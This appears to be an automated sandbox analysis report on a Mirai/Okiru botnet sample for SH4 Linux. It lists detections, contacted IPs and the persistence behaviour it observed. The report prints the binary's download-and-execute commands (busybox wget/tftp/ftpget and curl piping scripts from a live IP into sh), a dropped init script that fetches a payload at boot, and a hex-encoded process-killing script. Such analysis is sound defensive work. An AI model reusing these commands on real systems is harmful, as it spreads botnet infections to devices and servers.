Linux Analysis Report
sh4.nn.elf

Overview

General Information

Sample name: sh4.nn.elf
Analysis ID: 1561651
MD5: ecdc9dba8c46500b7ec1c4cac7748ce1
SHA1: 0ccbdf1e9af7673d75ce80a5713fb57582805b73
SHA256: 82208f8db327f9b57f083b769c0b66f30071bdad00c24432c9b1a09c3b6a5e02
Tags: elfuser-abuse_ch
Infos:

Detection

Mirai, Okiru
Score: 80
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Yara detected Mirai
Yara detected Okiru
Drops files in suspicious directories
Sample tries to persist itself using /etc/profile
Sample tries to persist itself using System V runlevels
Sample tries to set files in /etc globally writable
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Executes commands using a shell command-line interpreter
Executes the "chmod" command used to modify permissions
Executes the "mkdir" command used to create folders
Executes the "systemctl" command used for controlling the systemd system and service manager
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Sample tries to set the executable flag
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)
Writes shell script file to disk with an unusual file extension

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: sh4.nn.elf Avira: detected
Found strings indicative of a multi-platform dropper
Source: sh4.nn.elf String: (deleted)/proc/self/exe/proc/%s/exe/proc/opendirtmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/shFound And Killed Process: PID=%d, Realpath=%s487154914<146<2surf2/proc/%d/exe/ /tmp/./fd/socket/proc/%d/mountinfo/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharktcpdumpnetstatpythoniptablesnanonvimvimgdbpkillkillallapt/bin/login193.143.1.70malloc[start_pid_hopping] Failed to clone: %s
Source: sh4.nn.elf String: incorrectinvalidbadwrongfaildeniederrorretryenableshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://193.143.1.70/lol.sh -O- | sh;/bin/busybox tftp -g http://193.143.1.70/ -r lol.sh -l- | sh;/bin/busybox ftpget http://193.143.1.70/ lol.sh lol.sh && sh lol.sh;curl http://193.143.1.70/curl.sh -o- | shGET /dlr. HTTP/1.0
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:38970 -> 154.216.19.139:199
Source: global traffic TCP traffic: 192.168.2.23:44348 -> 193.143.1.70:38242
Sample listens on a socket
Source: /tmp/sh4.nn.elf (PID: 6239) Socket: 0.0.0.0:38242 Jump to behavior
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 195.79.249.53
Source: unknown TCP traffic detected without corresponding DNS query: 193.143.1.70
Source: unknown TCP traffic detected without corresponding DNS query: 170.63.95.128
Source: unknown TCP traffic detected without corresponding DNS query: 112.136.25.106
Source: unknown TCP traffic detected without corresponding DNS query: 195.79.249.53
Source: unknown TCP traffic detected without corresponding DNS query: 90.74.100.5
Source: unknown TCP traffic detected without corresponding DNS query: 187.204.54.179
Source: unknown TCP traffic detected without corresponding DNS query: 222.177.106.4
Source: unknown TCP traffic detected without corresponding DNS query: 193.143.1.70
Source: unknown TCP traffic detected without corresponding DNS query: 193.143.1.70
Source: unknown TCP traffic detected without corresponding DNS query: 170.63.95.128
Source: unknown TCP traffic detected without corresponding DNS query: 71.124.77.168
Source: unknown TCP traffic detected without corresponding DNS query: 112.136.25.106
Source: sh4.nn.elf, profile.12.dr, system.12.dr, inittab.12.dr, sh4.nn.elf.38.dr, bootcmd.12.dr, custom.service.12.dr String found in binary or memory: http://193.143.1.70/
Source: sh4.nn.elf String found in binary or memory: http://193.143.1.70/curl.sh
Source: sh4.nn.elf String found in binary or memory: http://193.143.1.70/lol.sh
Source: sh4.nn.elf String found in binary or memory: http://193.143.1.70/oro1vk
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: (deleted)/proc/self/exe/proc/%s/exe/proc/opendirtmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/shFound And Killed Process: PID=%d, Realpath=%s487154914<146<2surf2/proc/%d/exe/ /tmp/./fd/socket/proc/%d/mountinfo/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//ro
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://193.143.1.70/lol.sh -O- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox tftp -g http://193.143.1.70/ -r lol.sh -l- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox ftpget http://193.143.1.70/ lol.sh lol.sh && sh lol.sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://193.143.1.70/lol.sh -O- | sh;/bin/busybox tftp -g http://193.143.1.70/ -r lol.sh -l- | sh;/bin/busybox ftpget http://193.143.1.70/ lol.sh lol.sh && sh lol.sh;curl http://193.143.1.70/curl.sh -o- | shGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe Gorilla/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/sh4.nn.elf (PID: 6249) SIGKILL sent: pid: 788, result: successful Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6249) SIGKILL sent: pid: 884, result: successful Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6249) SIGKILL sent: pid: 1664, result: successful Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6249) SIGKILL sent: pid: 2096, result: successful Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6249) SIGKILL sent: pid: 2102, result: successful Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6249) SIGKILL sent: pid: 6296, result: successful Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6249) SIGKILL sent: pid: 6307, result: successful Jump to behavior
Source: classification engine Classification label: mal80.spre.troj.evad.linELF@0/10@0/0

Persistence and Installation Behavior
barindex
Sample tries to persist itself using /etc/profile
Source: /tmp/sh4.nn.elf (PID: 6239) File: /etc/profile Jump to behavior
Sample tries to persist itself using System V runlevels
Source: /tmp/sh4.nn.elf (PID: 6239) File: /etc/rc.local Jump to behavior
Source: /usr/bin/ln (PID: 6330) File: /etc/rcS.d/S99system -> /etc/init.d/system Jump to behavior
Source: /usr/bin/ln (PID: 6362) File: /etc/rc.d/S99sh4.nn.elf -> /etc/init.d/sh4.nn.elf Jump to behavior
Sample tries to set files in /etc globally writable
Source: /tmp/sh4.nn.elf (PID: 6239) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6321) File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6348) File: /etc/init.d/sh4.nn.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/sh4.nn.elf (PID: 6387) File opened: /proc/6494/status Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6387) File opened: /proc/6493/status Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6387) File opened: /proc/6496/status Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6387) File opened: /proc/6495/status Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6387) File opened: /proc/6498/status Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6387) File opened: /proc/6057/cmdline Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6387) File opened: /proc/6497/status Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6387) File opened: /proc/6499/status Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6387) File opened: /proc/6490/status Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6387) File opened: /proc/6492/status Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6387) File opened: /proc/6491/status Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6387) File opened: /proc/799/cmdline Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6387) File opened: /proc/6502/status Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6387) File opened: /proc/6501/status Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6387) File opened: /proc/6504/status Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6387) File opened: /proc/6503/status Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6387) File opened: /proc/6506/status Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6387) File opened: /proc/6505/status Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6387) File opened: /proc/6507/status Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6387) File opened: /proc/6461/status Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6387) File opened: /proc/6463/status Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6387) File opened: /proc/6462/status Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6387) File opened: /proc/6464/status Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6387) File opened: /proc/6500/status Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6387) File opened: /proc/6480/status Jump to behavior
Executes commands using a shell command-line interpreter
Source: /tmp/sh4.nn.elf (PID: 6270) Shell command executed: sh -c "systemctl enable custom.service >/dev/null 2>&1" Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6317) Shell command executed: sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1" Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6324) Shell command executed: sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1" Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6331) Shell command executed: sh -c "echo \"#!/bin/sh\n# /etc/init.d/sh4.nn.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting sh4.nn.elf'\n /tmp/sh4.nn.elf &\n wget http://193.143.1.70/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping sh4.nn.elf'\n killall sh4.nn.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/sh4.nn.elf" Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6333) Shell command executed: sh -c "chmod +x /etc/init.d/sh4.nn.elf >/dev/null 2>&1" Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6350) Shell command executed: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1" Jump to behavior
Source: /tmp/sh4.nn.elf (PID: 6357) Shell command executed: sh -c "ln -s /etc/init.d/sh4.nn.elf /etc/rc.d/S99sh4.nn.elf >/dev/null 2>&1" Jump to behavior
Executes the "chmod" command used to modify permissions
Source: /bin/sh (PID: 6321) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/system Jump to behavior
Source: /bin/sh (PID: 6348) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/sh4.nn.elf Jump to behavior
Executes the "mkdir" command used to create folders
Source: /bin/sh (PID: 6356) Mkdir executable: /usr/bin/mkdir -> mkdir -p /etc/rc.d Jump to behavior
Executes the "systemctl" command used for controlling the systemd system and service manager
Source: /bin/sh (PID: 6283) Systemctl executable: /usr/bin/systemctl -> systemctl enable custom.service Jump to behavior
Sample tries to set the executable flag
Source: /tmp/sh4.nn.elf (PID: 6239) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6321) File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6348) File: /etc/init.d/sh4.nn.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Writes shell script file to disk with an unusual file extension
Source: /tmp/sh4.nn.elf (PID: 6239) Writes shell script file to disk with an unusual file extension: /etc/init.d/system Jump to dropped file
Source: /tmp/sh4.nn.elf (PID: 6239) Writes shell script file to disk with an unusual file extension: /etc/rc.local Jump to dropped file
Source: /bin/sh (PID: 6331) Writes shell script file to disk with an unusual file extension: /etc/init.d/sh4.nn.elf Jump to dropped file

Hooking and other Techniques for Hiding and Protection
barindex
Drops files in suspicious directories
Source: /tmp/sh4.nn.elf (PID: 6239) File: /etc/init.d/system Jump to dropped file
Source: /bin/sh (PID: 6331) File: /etc/init.d/sh4.nn.elf Jump to dropped file
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/sh4.nn.elf (PID: 6239) Queries kernel information via 'uname': Jump to behavior
Source: sh4.nn.elf, 6239.1.00007ffc843df000.00007ffc84400000.rw-.sdmp Binary or memory string: /tmp/qemu-open.xsDXBV
Source: sh4.nn.elf, 6239.1.00007ffc843df000.00007ffc84400000.rw-.sdmp Binary or memory string: .V/tmp/qemu-open.xsDXBV
Source: sh4.nn.elf, 6239.1.00007ffc843df000.00007ffc84400000.rw-.sdmp, sh4.nn.elf, 6249.1.00007ffc843df000.00007ffc84400000.rw-.sdmp Binary or memory string: /qemu-open.XXXXX
Source: sh4.nn.elf, 6239.1.00007ffc843df000.00007ffc84400000.rw-.sdmp, sh4.nn.elf, 6249.1.00007ffc843df000.00007ffc84400000.rw-.sdmp, sh4.nn.elf, 6249.1.00007f771c42d000.00007f771c432000.rw-.sdmp Binary or memory string: /usr/bin/qemu-sh4
Source: sh4.nn.elf, 6249.1.0000562e18e92000.0000562e18f16000.rw-.sdmp Binary or memory string: /usr/bin/vmtoolsd
Source: sh4.nn.elf, 6239.1.00007ffc843df000.00007ffc84400000.rw-.sdmp, sh4.nn.elf, 6249.1.00007ffc843df000.00007ffc84400000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-sh4/tmp/sh4.nn.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/sh4.nn.elf
Source: sh4.nn.elf, 6239.1.0000562e18e92000.0000562e18f16000.rw-.sdmp, sh4.nn.elf, 6249.1.0000562e18e92000.0000562e18f16000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/sh4
Source: sh4.nn.elf, 6249.1.0000562e18e92000.0000562e18f16000.rw-.sdmp Binary or memory string: .VDisplayText!/usr/bin/vmtoolsd
Source: sh4.nn.elf, 6239.1.0000562e18e92000.0000562e18f16000.rw-.sdmp, sh4.nn.elf, 6249.1.0000562e18e92000.0000562e18f16000.rw-.sdmp Binary or memory string: .V5!/etc/qemu-binfmt/sh4
Source: sh4.nn.elf, 6239.1.00007ffc843df000.00007ffc84400000.rw-.sdmp Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Source: sh4.nn.elf, 6239.1.00007ffc843df000.00007ffc84400000.rw-.sdmp, sh4.nn.elf, 6249.1.00007ffc843df000.00007ffc84400000.rw-.sdmp Binary or memory string: panel/wrapper-2./qemu-open.XXXXX
Source: sh4.nn.elf, 6249.1.00007f771c429000.00007f771c42d000.rw-.sdmp Binary or memory string: /usr/bin/vmtoolsd8
Source: sh4.nn.elf, 6239.1.00007ffc843df000.00007ffc84400000.rw-.sdmp Binary or memory string: /qemu-open.XXXXXSXPF

Stealing of Sensitive Information
barindex
Yara detected Mirai
Source: Yara match File source: sh4.nn.elf, type: SAMPLE
Source: Yara match File source: 6239.1.00007f771c400000.00007f771c419000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6249.1.00007f771c400000.00007f771c419000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: sh4.nn.elf, type: SAMPLE
Source: Yara match File source: 6239.1.00007f771c400000.00007f771c419000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6249.1.00007f771c400000.00007f771c419000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: sh4.nn.elf PID: 6239, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: sh4.nn.elf PID: 6249, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Mirai
Source: Yara match File source: sh4.nn.elf, type: SAMPLE
Source: Yara match File source: 6239.1.00007f771c400000.00007f771c419000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6249.1.00007f771c400000.00007f771c419000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: sh4.nn.elf, type: SAMPLE
Source: Yara match File source: 6239.1.00007f771c400000.00007f771c419000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6249.1.00007f771c400000.00007f771c419000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: sh4.nn.elf PID: 6239, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: sh4.nn.elf PID: 6249, type: MEMORYSTR

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
39.178.95.236
 unknown China
9808 CMNET-GDGuangdongMobileCommunicationCoLtdCN false
165.26.141.225
 unknown United States
14381 CATERPILLAR-INCUS false
194.159.123.177
 unknown United Kingdom
2529 DEMON-INTERNETNowmaintainedbyCableWirelessWorldwide false
4.209.53.229
 unknown United States
3356 LEVEL3US false
158.197.127.245
 unknown Slovakia (SLOVAK Republic)
2607 SANETSlovakAcademicNetworkSK false
103.215.118.161
 unknown China
137222 NIXON-BRISBANE-AUiSeekDataCentreAU false
142.141.50.214
 unknown Canada
808 GONET-ASN-1CA false
50.137.112.161
 unknown United States
7922 COMCAST-7922US false
193.99.83.157
 unknown Germany
8767 MNET-ASGermanyDE false
94.153.2.185
 unknown Ukraine
15895 KSNET-ASUA false
110.209.22.31
 unknown China
9394 CTTNETChinaTieTongTelecommunicationsCorporationCN false
21.12.27.20
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
199.154.77.161
 unknown United States
4152 USDA-1US false
102.58.228.243
 unknown Egypt
36992 ETISALAT-MISREG false
46.81.18.161
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
60.112.37.117
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
134.183.138.60
 unknown United Kingdom
4704 SANNETRakutenMobileIncJP false
100.180.55.210
 unknown United States
21928 T-MOBILE-AS21928US false
148.26.243.91
 unknown United States
6400 CompaniaDominicanadeTelefonosSADO false
55.52.17.226
 unknown United States
358 DNIC-ASBLK-00306-00371US false
6.96.243.45
 unknown United States
3356 LEVEL3US false
4.10.144.212
 unknown United States
3356 LEVEL3US false
75.32.191.203
 unknown United States
7018 ATT-INTERNET4US false
4.247.78.124
 unknown United States
3356 LEVEL3US false
129.72.81.254
 unknown United States
2902 WN-WY-ASUS false
146.14.236.232
 unknown United States
1467 DNIC-ASBLK-01467-01468US false
26.127.67.88
 unknown United States
7922 COMCAST-7922US false
16.219.11.7
 unknown United States
unknown unknown false
55.113.149.255
 unknown United States
361 DNIC-ASBLK-00306-00371US false
135.167.197.8
 unknown United States
14962 NCR-252US false
210.229.184.96
 unknown Japan 7682 HOTNETHOKKAIDOTELECOMMUNICATIONSNETWORKCoIncJP false
132.156.71.7
 unknown Canada
2665 CDAGOVNCA false
192.44.244.15
 unknown Sweden
19399 SLLNETEU false
11.7.165.28
 unknown United States
3356 LEVEL3US false
48.172.33.146
 unknown United States
2686 ATGS-MMD-ASUS false
110.57.220.15
 unknown China
9394 CTTNETChinaTieTongTelecommunicationsCorporationCN false
90.101.123.19
 unknown France
3215 FranceTelecom-OrangeFR false
121.246.231.128
 unknown India
17908 TCISLTataCommunicationsIN false
90.74.100.5
 unknown France
12479 UNI2-ASES false
18.168.94.203
 unknown United States
3 MIT-GATEWAYSUS false
68.201.52.70
 unknown United States
11427 TWC-11427-TEXASUS false
86.187.111.137
 unknown United Kingdom
2856 BT-UK-ASBTnetUKRegionalnetworkGB false
173.175.203.157
 unknown United States
11427 TWC-11427-TEXASUS false
177.143.36.50
 unknown Brazil
28573 CLAROSABR false
184.131.173.72
 unknown United States
5778 CENTURYLINK-LEGACY-EMBARQ-RCMTUS false
119.55.178.191
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
25.26.118.107
 unknown United Kingdom
7922 COMCAST-7922US false
206.117.162.81
 unknown United States
226 LOS-NETTOS-ASUS false
189.61.249.89
 unknown Brazil
28573 CLAROSABR false
78.216.242.49
 unknown France
12322 PROXADFR false
6.160.127.206
 unknown United States
3356 LEVEL3US false
208.199.208.25
 unknown United States
1699 ANS-1699-ASUS false
201.22.14.32
 unknown Brazil
18881 TELEFONICABRASILSABR false
162.212.44.50
 unknown United States
26941 SHUTTERSTOCKUS false
31.86.100.254
 unknown United Kingdom
12576 EELtdGB false
193.143.1.70
 unknown unknown
57271 BITWEB-ASRU false
77.190.100.46
 unknown Germany
6805 TDDE-ASN1DE false
139.58.171.244
 unknown Sweden
3301 TELIANET-SWEDENTeliaCompanySE false
133.79.206.59
 unknown Japan 18087 TOYOToyoUniversityJP false
188.131.83.186
 unknown Moldova Republic of
25454 ASN-OMD-FNOOrangeMoldovaFixedNetworkAutonomousSystem false
89.180.114.13
 unknown Portugal
2860 NOS_COMUNICACOESPT false
133.76.84.135
 unknown Japan 2907 SINET-ASResearchOrganizationofInformationandSystemsN false
171.147.67.60
 unknown United States
9874 STARHUB-MOBILEStarHubLtdSG false
104.92.23.58
 unknown United States
16625 AKAMAI-ASUS false
151.235.231.105
 unknown Iran (ISLAMIC Republic Of)
58224 TCIIR false
60.62.205.242
 unknown Japan 9824 JTCL-JP-ASJupiterTelecommunicationCoLtdJP false
163.180.172.74
 unknown Korea Republic of
17870 KHU-AS-KRKyungHeeUniversityKR false
1.93.98.150
 unknown China
4847 CNIX-APChinaNetworksInter-ExchangeCN false
71.7.176.12
 unknown Canada
11260 EASTLINK-HSICA false
128.250.160.13
 unknown Australia
10148 UNIMELB-AS-APTheUniversityofMelbourneMelbourneVictor false
185.241.126.102
 unknown Ukraine
204682 KREM-ASUA false
